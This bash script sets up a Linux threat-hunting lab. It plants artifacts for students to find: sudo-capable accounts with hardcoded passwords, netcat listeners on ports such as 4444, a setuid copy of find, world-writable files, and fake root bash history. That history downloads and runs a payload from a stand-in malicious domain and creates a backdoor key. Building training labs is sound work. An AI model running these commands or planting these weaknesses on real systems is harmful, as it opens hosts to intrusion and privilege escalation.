#!/bin/bash

#
# SYNOPSIS
#     Threat Hunting Lab - Artifact Generation Script (Linux)
#     
# DESCRIPTION
#     This script creates detectable artifacts for students to practice manual threat hunting.
#     Run this script with sudo/root privileges to set up the lab environment.
#     
# NOTES
#     Requires: Root/sudo privileges
#     Compatible with: Ubuntu 22.04 LTS
#

# Check if running as root
if [[ $EUID -ne 0 ]]; then
   echo "This script must be run as root (use sudo)" 
   exit 1
fi

# Color codes
CYAN='\033[0;36m'
YELLOW='\033[1;33m'
GREEN='\033[0;32m'
RED='\033[0;31m'
WHITE='\033[1;37m'
NC='\033[0m' # No Color

echo -e "${CYAN}========================================${NC}"
echo -e "${CYAN}  Threat Hunting Lab - Setup Script${NC}"
echo -e "${CYAN}========================================${NC}"
echo ""

# Create log file for artifact details
LOG_FILE="ThreatHuntingLab_Artifacts.txt"
TIMESTAMP=$(date "+%Y-%m-%d %H:%M:%S")

cat > "$LOG_FILE" << EOF
Threat Hunting Lab - Artifact Details
Generated: $TIMESTAMP
============================================================

EOF

# ============================================
# 1. CREATE SUSPICIOUS USERS AND GROUPS
# ============================================
echo -e "${YELLOW}[+] Creating suspicious users and groups...${NC}"

# Array of suspicious users (name:password:description)
declare -a SUSPICIOUS_USERS=(
    "svc_backup:P@ssw0rd123!:Suspicious backup service account"
    "admin_temp:TempPass456!:Temporary admin account"
    "webadmin:WebAdmin789!:Web administrator account"
)

# Array of suspicious groups (name:description)
declare -a SUSPICIOUS_GROUPS=(
    "remoteadmins:Remote administration group"
    "backupoperators_custom:Custom backup operators"
)

echo "USER ACCOUNTS:" >> "$LOG_FILE"

for user_entry in "${SUSPICIOUS_USERS[@]}"; do
    IFS=':' read -r username password description <<< "$user_entry"
    
    if id "$username" &>/dev/null; then
        echo -e "  ${YELLOW}[!] User $username already exists${NC}"
    else
        # Create user with home directory
        useradd -m -s /bin/bash -c "$description" "$username" 2>/dev/null
        
        # Set password
        echo "$username:$password" | chpasswd
        
        echo -e "  ${GREEN}[✓] Created user: $username${NC}"
        echo "USER CREATED: $username - $description" >> "$LOG_FILE"
    fi
done

echo "" >> "$LOG_FILE"
echo "GROUPS:" >> "$LOG_FILE"

for group_entry in "${SUSPICIOUS_GROUPS[@]}"; do
    IFS=':' read -r groupname description <<< "$group_entry"
    
    if getent group "$groupname" &>/dev/null; then
        echo -e "  ${YELLOW}[!] Group $groupname already exists${NC}"
    else
        groupadd "$groupname" 2>/dev/null
        echo -e "  ${GREEN}[✓] Created group: $groupname${NC}"
        echo "GROUP CREATED: $groupname - $description" >> "$LOG_FILE"
    fi
done

# Add users to groups
usermod -aG remoteadmins svc_backup 2>/dev/null
usermod -aG backupoperators_custom admin_temp 2>/dev/null
usermod -aG sudo webadmin 2>/dev/null
echo -e "  ${GREEN}[✓] Added users to groups${NC}"

echo "" >> "$LOG_FILE"

# ============================================
# 2. CREATE NETWORK LISTENERS (Suspicious Ports)
# ============================================
echo -e "\n${YELLOW}[+] Starting network listeners on suspicious ports...${NC}"

# Array of suspicious ports
declare -a NETWORK_LISTENERS=(
    "4444:Listener_4444"    # Common Metasploit port
    "8888:Listener_8888"    # Common C2 port
    "31337:Listener_31337"  # Elite/Leet port
)

echo "NETWORK LISTENERS:" >> "$LOG_FILE"

for listener_entry in "${NETWORK_LISTENERS[@]}"; do
    IFS=':' read -r port name <<< "$listener_entry"
    
    # Check if port is already in use
    if netstat -tuln | grep -q ":$port "; then
        echo -e "  ${YELLOW}[!] Port $port already in use${NC}"
    else
        # Start listener using nc (netcat) in background
        nohup nc -l -k -p "$port" > /dev/null 2>&1 &
        LISTENER_PID=$!
        
        # Save PID for cleanup
        echo "$LISTENER_PID" > "/var/run/listener_${port}.pid"
        
        echo -e "  ${GREEN}[✓] Started listener on port $port (PID: $LISTENER_PID)${NC}"
        echo "  Port $port - LISTENING (PID: $LISTENER_PID)" >> "$LOG_FILE"
    fi
done

echo "" >> "$LOG_FILE"

# ============================================
# 3. CREATE SUSPICIOUS SERVICES (systemd)
# ============================================
echo -e "\n${YELLOW}[+] Creating suspicious services...${NC}"

# Create service directory
SERVICE_DIR="/opt/system_services"
mkdir -p "$SERVICE_DIR"

# Create suspicious service script
cat > "$SERVICE_DIR/update_service.sh" << 'EOFSCRIPT'
#!/bin/bash
# Suspicious update service
while true; do
    sleep 60
done
EOFSCRIPT

chmod +x "$SERVICE_DIR/update_service.sh"

# Create systemd service file
cat > /etc/systemd/system/system-update-custom.service << EOFSERVICE
[Unit]
Description=System Update Service Custom
After=network.target

[Service]
Type=simple
ExecStart=$SERVICE_DIR/update_service.sh
Restart=always
User=root

[Install]
WantedBy=multi-user.target
EOFSERVICE

echo "SUSPICIOUS SERVICES:" >> "$LOG_FILE"

# Reload systemd and enable service
systemctl daemon-reload
systemctl enable system-update-custom.service 2>/dev/null

echo -e "  ${GREEN}[✓] Created service: system-update-custom${NC}"
echo "  Service: system-update-custom" >> "$LOG_FILE"
echo "    Path: $SERVICE_DIR/update_service.sh" >> "$LOG_FILE"

echo "" >> "$LOG_FILE"

# ============================================
# 4. CREATE SUSPICIOUS CRON JOBS
# ============================================
echo -e "\n${YELLOW}[+] Creating suspicious cron jobs...${NC}"

TASK_DIR="/opt/scheduled_tasks"
mkdir -p "$TASK_DIR"

# Create suspicious maintenance script
cat > "$TASK_DIR/system_maintenance.sh" << 'EOFMAINT'
#!/bin/bash
# Suspicious maintenance script
sleep 5
echo "Maintenance task executed at $(date)"
EOFMAINT

chmod +x "$TASK_DIR/system_maintenance.sh"

# Create data backup script
cat > "$TASK_DIR/data_backup.sh" << 'EOFBACKUP'
#!/bin/bash
# Custom data backup task
echo "Backup completed at $(date)"
EOFBACKUP

chmod +x "$TASK_DIR/data_backup.sh"

echo "SCHEDULED TASKS (CRON):" >> "$LOG_FILE"

# Add cron jobs
# System maintenance at 3:00 AM daily
(crontab -l 2>/dev/null | grep -v "$TASK_DIR/system_maintenance.sh"; echo "0 3 * * * $TASK_DIR/system_maintenance.sh") | crontab -

# Data backup at 2:30 AM daily
(crontab -l 2>/dev/null | grep -v "$TASK_DIR/data_backup.sh"; echo "30 2 * * * $TASK_DIR/data_backup.sh") | crontab -

echo -e "  ${GREEN}[✓] Created cron job: SystemMaintenanceTask (runs at 03:00 AM)${NC}"
echo "  Task: SystemMaintenanceTask - Runs at 03:00 AM" >> "$LOG_FILE"
echo "    Script: $TASK_DIR/system_maintenance.sh" >> "$LOG_FILE"

echo -e "  ${GREEN}[✓] Created cron job: DataBackupTask (runs at 02:30 AM)${NC}"
echo "  Task: DataBackupTask - Runs at 02:30 AM" >> "$LOG_FILE"
echo "    Script: $TASK_DIR/data_backup.sh" >> "$LOG_FILE"

echo "" >> "$LOG_FILE"

# ============================================
# 5. CREATE SUSPICIOUS PROCESSES
# ============================================
echo -e "\n${YELLOW}[+] Starting suspicious processes...${NC}"

# Create process directories
mkdir -p /opt/updater
mkdir -p /opt/collector

# Create suspicious updater script
cat > /opt/updater/suspicious_updater.sh << 'EOFUPDATER'
#!/bin/bash
# Suspicious updater process
while true; do
    sleep 30
done
EOFUPDATER

chmod +x /opt/updater/suspicious_updater.sh

# Create data collector script
cat > /opt/collector/data_collector.sh << 'EOFCOLLECTOR'
#!/bin/bash
# Data collector process
while true; do
    sleep 45
done
EOFCOLLECTOR

chmod +x /opt/collector/data_collector.sh

echo "SUSPICIOUS PROCESSES:" >> "$LOG_FILE"

# Start suspicious processes in background
nohup /opt/updater/suspicious_updater.sh > /dev/null 2>&1 &
UPDATER_PID=$!
echo "$UPDATER_PID" > /var/run/suspicious_updater.pid

echo -e "  ${GREEN}[✓] Started process: suspicious_updater.sh (PID: $UPDATER_PID)${NC}"
echo "  Process: suspicious_updater.sh - PID: $UPDATER_PID - Path: /opt/updater/suspicious_updater.sh" >> "$LOG_FILE"

nohup /opt/collector/data_collector.sh > /dev/null 2>&1 &
COLLECTOR_PID=$!
echo "$COLLECTOR_PID" > /var/run/data_collector.pid

echo -e "  ${GREEN}[✓] Started process: data_collector.sh (PID: $COLLECTOR_PID)${NC}"
echo "  Process: data_collector.sh - PID: $COLLECTOR_PID - Path: /opt/collector/data_collector.sh" >> "$LOG_FILE"

echo "" >> "$LOG_FILE"

# ============================================
# 6. CREATE FILES WITH SUSPICIOUS PERMISSIONS
# ============================================
echo -e "\n${YELLOW}[+] Creating files with suspicious permissions...${NC}"

declare -a SUSPICIOUS_FILES=(
    "/tmp/system_config.txt"
    "/opt/credentials.txt"
)

echo "SUSPICIOUS FILES:" >> "$LOG_FILE"

for file in "${SUSPICIOUS_FILES[@]}"; do
    echo "This is a suspicious file created for threat hunting lab" > "$file"
    
    # Set world-writable permissions (777 - suspicious)
    chmod 777 "$file"
    
    echo -e "  ${GREEN}[✓] Created suspicious file: $file${NC}"
    echo "  File: $file (Permissions: 777 - World Writable)" >> "$LOG_FILE"
done

echo "" >> "$LOG_FILE"

# ============================================
# 7. CREATE SUSPICIOUS SETUID/SETGID FILES
# ============================================
echo -e "\n${YELLOW}[+] Creating files with suspicious SETUID/SETGID...${NC}"

# Create a copy of a benign binary with SETUID bit
cp /usr/bin/find /tmp/find_backup
chmod u+s /tmp/find_backup

echo "SETUID/SETGID FILES:" >> "$LOG_FILE"
echo -e "  ${GREEN}[✓] Created SETUID file: /tmp/find_backup${NC}"
echo "  File: /tmp/find_backup (SETUID bit set)" >> "$LOG_FILE"

echo "" >> "$LOG_FILE"

# ============================================
# 8. CREATE SUSPICIOUS BASH HISTORY ENTRIES
# ============================================
echo -e "\n${YELLOW}[+] Adding suspicious bash history entries...${NC}"

# Add to root's bash history
cat >> /root/.bash_history << 'EOFHIST'
wget http://malicious-domain.com/payload.sh
chmod +x payload.sh
./payload.sh
nc -lvp 4444
ssh-keygen -t rsa -b 4096 -f /root/.ssh/backdoor_key -N ""
echo "* * * * * /tmp/persistence.sh" | crontab -
EOFHIST

echo "BASH HISTORY:" >> "$LOG_FILE"
echo -e "  ${GREEN}[✓] Added suspicious entries to /root/.bash_history${NC}"
echo "  Added suspicious command history to /root/.bash_history" >> "$LOG_FILE"

echo "" >> "$LOG_FILE"

# ============================================
# SUMMARY
# ============================================
echo -e "\n${CYAN}========================================${NC}"
echo -e "${GREEN}  Lab Setup Complete!${NC}"
echo -e "${CYAN}========================================${NC}"
echo ""
echo -e "${YELLOW}Artifact details saved to: $LOG_FILE${NC}"
echo ""
echo -e "${WHITE}You can now practice threat hunting.${NC}"
echo ""
echo -e "${YELLOW}To clean up artifacts, run: sudo ./Cleanup-ThreatHuntingLab.sh${NC}"
echo ""

# Count artifacts
USER_COUNT=${#SUSPICIOUS_USERS[@]}
GROUP_COUNT=${#SUSPICIOUS_GROUPS[@]}
LISTENER_COUNT=${#NETWORK_LISTENERS[@]}
FILE_COUNT=${#SUSPICIOUS_FILES[@]}

echo -e "${CYAN}ARTIFACTS CREATED:${NC}"
echo -e "${WHITE}  - $USER_COUNT suspicious users${NC}"
echo -e "${WHITE}  - $GROUP_COUNT suspicious groups${NC}"
echo -e "${WHITE}  - $LISTENER_COUNT network listeners on suspicious ports${NC}"
echo -e "${WHITE}  - 1 suspicious systemd service${NC}"
echo -e "${WHITE}  - 2 suspicious cron jobs${NC}"
echo -e "${WHITE}  - 2 suspicious processes${NC}"
echo -e "${WHITE}  - $FILE_COUNT files with suspicious permissions${NC}"
echo -e "${WHITE}  - 1 SETUID binary${NC}"
echo -e "${WHITE}  - Suspicious bash history entries${NC}"
echo ""

# Save process info
echo "RUNNING PROCESSES:" >> "$LOG_FILE"
ps aux | grep -E "(suspicious_updater|data_collector|nc -l)" | grep -v grep >> "$LOG_FILE"

echo "" >> "$LOG_FILE"
echo "NETWORK CONNECTIONS:" >> "$LOG_FILE"
netstat -tuln | grep -E "(4444|8888|31337)" >> "$LOG_FILE"

echo -e "${GREEN}Setup complete! Happy hunting!${NC}"
